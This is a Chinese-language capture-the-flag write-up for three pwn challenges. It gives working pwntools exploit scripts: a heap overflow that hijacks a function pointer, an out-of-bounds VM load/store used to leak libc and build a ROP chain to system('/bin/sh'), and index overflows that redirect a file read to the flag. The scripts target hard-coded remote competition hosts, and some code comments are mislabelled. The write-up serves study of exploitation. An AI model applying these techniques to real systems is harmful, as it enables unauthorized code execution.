期末作业太多了,没什么时间详细写wp。不过三战国赛终于有望进入半决赛了,自己也出了个唯二解的二血,还是值得纪念一下的。 吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到上了三个pwn感觉天都塌了。
anote
发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。 因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。 堆地址由show时的gift直接给出,只需要稍加计算。 exp:
```Python
#!/usr/bin/env python3
from pwn import *
import os
exe = ELF("./note_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("123.56.29.99", 26768)
return r
def dbg(cmd=""):
if args.LOCAL:
gdb.attach(r, cmd)
pause()
def choice(i):
r.sendlineafter(">>", str(i))
def show(idx):
choice(2)
r.sendlineafter("index: ", str(idx))
def edit(idx, len, content):
choice(3)
r.sendlineafter("index: ", str(idx))
r.sendlineafter("len: ", str(len))
r.sendafter("content:", content)
context.log_level = "DEBUG"
def main():
global r
r = conn()
choice(1)
show(0)
r.recvuntil("gift: ")
addr = int(r.recvline()[:-1], 16)
choice(1)
edit(
0,
28,
p32(0x80489CE)
+ b"a" * (0x1C - 8 - 8)
+ p32(0)
+ p32(0x21)
+ p32(addr + 8)
+ b"\n",
)
edit(1, 1, b"0\n")
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
avm
主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。
地址的计算通过加减和左移右移即可。
由于没有自增,而且本地和远程偏移不同,寄存器初始值都是0, 获取数字1比较困难。最后通过在opcode中自己加入一个1的方式获取,这样的偏移肯定是固定的。
而libc地址的偏移也很奇怪,我试了多个本地能通过的偏移,远程都不行。最后获取栈上最远处的__libc_start_main中的返回地址,终于打通了远程。
#!/usr/bin/env python3
from pwn import *
import os
exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("47.94.1.14", 28709)
return r
def dbg(cmd=""):
if args.LOCAL:
gdb.attach(r, cmd)
pause()
def add(r1, r2, r3):
# r1 = r2+r3
return p32((1 << 28) | (r3 << 16) | (r2 << 5) | r1)
def sub(r1, r2, r3):
# r1 = r2-r3
return p32((2 << 28) | (r3 << 16) | (r2 << 5) | r1)
def mul(r1, r2, r3):
# r1 = r2/r3
return p32((3 << 28) | (r3 << 16) | (r2 << 5) | r1)
def div(r1, r2, r3):
# r1 = r2*r3
return p32((4 << 28) | (r3 << 16) | (r2 << 5) | r1)
def xor(r1, r2, r3):
# r1 = r2^r3
return p32((5 << 28) | (r3 << 16) | (r2 << 5) | r1)
def bitand(r1, r2, r3):
# r1 = r2&r3
return p32((6 << 28) | (r3 << 16) | (r2 << 5) | r1)
def bitand(r1, r2, r3):
# r1 = r2/r3
return p32((6 << 28) | (r3 << 16) | (r2 << 5) | r1)
def shr(r1, r2, r3):
# r1 = r2>>r3
return p32((8 << 28) | (r3 << 16) | (r2 << 5) | r1)
def shl(r1, r2, r3):
# r1 = r2<<r3
return p32((7 << 28) | (r3 << 16) | (r2 << 5) | r1)
def store(r1, r2, offset):
# s[reg[r2]+offset]=reg[r1]
assert offset <= 0xFFF
return p32((9 << 28) | (offset << 16) | (r2 << 5) | r1)
def load(r1, r2, offset):
# reg[r1] = s[reg[r2]+offset]
assert offset <= 0xFFF
return p32((10 << 28) | (offset << 16) | (r2 << 5) | r1)
def gen_num(r1, r2, num):
opcode = b""
tmp = []
if num < 0:
num = -num
tmp1 = num
while num:
if num & 1:
tmp.append(1)
else:
tmp.append(0)
num = num >> 1
test = 0
tmp = tmp[::-1]
for i in tmp[:-1]:
if i == 1:
test += 1
opcode += add(r2, r2, r1)
test = test * 2
opcode += shl(r2, r2, r1)
if tmp[-1] == 1:
test += 1
opcode += add(r2, r2, r1)
# assert test == num
print(f"test: {hex(test)} num: {hex(tmp1)}")
return opcode
def invalid():
return p32((0xB << 28))
def main():
global r
r = conn()
dbg("b *$rebase(0x1aad)\n")
pop_rdi = 0x000000000002A3E5
addr = 0x22EC7C
addr = 0x29D90
offset_rdi = addr - pop_rdi
str_bin_sh = next(libc.search(b"/bin/sh"))
offset_bin_sh = addr - str_bin_sh
offset_system = addr - libc.sym["system"]
offset_puts = addr - libc.sym["puts"]
opcode = (
load(1, 0, 0x100)
+ load(2, 0, 0xD38)
+ load(3, 0, 0x278)
+ gen_num(3, 4, offset_rdi)
+ add(5, 2, 4)
+ store(5, 0, 0x118)
+ gen_num(3, 6, offset_bin_sh)
+ add(7, 2, 6)
+ store(7, 0, 0x118 + 8)
+ gen_num(3, 8, offset_system)
+ add(9, 2, 8)
+ store(9, 0, 0x118 + 3 * 8)
+ add(31, 5, 3)
+ store(31, 0, 0x118 + 2 * 8)
+ p32(0)
+ p64(1)
)
print(hex(len(opcode)))
# reg3 = 1
# gets = addr - 0x1b0b20
r.sendafter("opcode: ", opcode)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
anyip
完全不会C++,逆向上遇到了很大的困难,结合正向写C++代码再逆向查看,对比题目中的逆向结果,最后十分钟终于连蒙带猜调通了。
def pack(func, para1, content):
buf = b""
buf += p16(func)
buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
buf += content
return buf
前16位代表要调用的函数,取值为0x1111,0x2222,0x3333,0x4444,代表四个函数。
它后面的8位是函数的一个参数,是一个选项,。再后面的8位固定为b"\x??\x??\x??\x??\x01\x07\x??\x??"。如果其中的\x01和\x07不对会直接报错。 再后面的content为可变长度的字节流,也会作为部分函数的参数。
然后是func的逆向:
0x2222是一个栈: 注意到在pop时,对top并没有检查,也就是说在栈空之后可以继续pop实现溢出。而stack的前面有queue及其队头队尾,将栈pop到q_end的位置后再push入数字就可以覆盖q_end。 0x4444是一个队列:
q_end = (q_end+1) %10是入队之后才会进行的,也就是说q_end被覆盖后的第一次入队,偏移完全由刚刚越界push的数字决定。但由于只有一次,不能完整覆盖s。但是发现栈对top的唯一检查就是top- base != 0xa, 所以只要把base覆盖掉,栈就可以任意偏移写了。
下面有一个字符数组s,其中存的是log文件的名字,func 0x1111中有将log读出并发送的功能,所以如果通过栈的任意偏移写将log的名字覆盖成flag,再用func 0x1111中的功能就可以得到flag了。 但是想要使用这个功能,还要让v13=“SomeIpfun”.
逆向+尝试后发现v13是一个c++ string,其内容是逐字符拼接而来,而字符的来源与qword_9040中存的堆块有关。 逆向,发现使用func 0x3333中的功能可以修改qword_9040,并且发现它是类似树的结构(完全没看懂,只是看到一个堆块里存了一个字母和两个指针),使用func 0x3333的功能3可以设置新堆块,功能1可以增加字符,大致以树链表的形式,但是没有看懂具体逻辑。总之添加了一堆字符之后发现拼接出了乱序字符串。
于是想到一个办法,先按SomeIpfun的顺序输出,发现拼接出的字符串是uenoISpmf 一一对应:
S o m e I p f u n
u e n o I S p m f
以u来说,第八个输入的u会在第一个输出,而目标是让S第一个输出,所以只要把输入时的u改成S即可。以此类推,修改顺序为:
peuoIfnSm,得到的字符串就是SomeIpfun了。
有一个小插曲:c++的字符串不用\x00结尾,如果加了反而会让长度增加导致compare结果不相等。 总结以上利用,写出exp:
用栈的负向溢出覆盖q_end
用queue越界覆盖stack的base,让栈绕过边界检查
用stack越界覆盖s,将文件名改成flag
通过func0x3333和0x1111中的功能,构造字符串"SomeIpfun", 得到flag(在发回的报文中)
#!/usr/bin/env python3
from pwn import *
import os
import socket
exe = ELF("./pwn_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("39.106.139.233", 34835)
return r
def dbg(cmd=""):
if args.LOCAL:
gdb.attach(r, cmd)
pause()
def pack(func, para1, content):
buf = b""
buf += p16(func)
buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
buf += content
return buf
def push(num):
p1 = pack(0x2222, 1, str(num).encode())
return p1
def pop():
p1 = pack(0x2222, 2, b"")
return p1
def enqueue(num):
p1 = pack(0x4444, 1, str(num).encode())
return p1
def main():
global r
# r = conn()
# pause()
s1 = socket.socket()
# s1.connect(("127.0.0.1", 9999))
s1.connect(("39.106.139.233", 34835))
for i in range(0x20 // 4 - 3):
s1.send(pop())
print(s1.recv(0x10))
s1.send(push((0xCC - 0x60) // 4))
print(s1.recv(0x10))
s1.send(enqueue(0x40))
print(s1.recv(0x10))
for i in range((0xC8 - 0x90) // 4):
s1.send(push(0))
print(s1.recv(0x10))
s1.send(push((0xE0 - 0xA0) // 4))
print(s1.recv(0x10))
s1.send(push(0x67616C66))
print(s1.recv(0x10))
s1.send(push(0))
print(s1.recv(0x10))
p1 = pack(0x3333, 3, b"p")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"e")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"u")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"o")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"I")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"f")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"n")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"S")
s1.send(p1)
print(s1.recv(0x10))
p1 = pack(0x3333, 1, b"m")
s1.send(p1)
print(s1.recv(0x10))
p2 = pack(0x1111, 2, b"a" * (0x4B - 9) + b"SomeIpfun" + b"b" * 0x100)
s1.send(p2)
print(s1.recv(0x200))
# good luck pwning :)
# r.interactive()
if __name__ == "__main__":
main()
得到flag: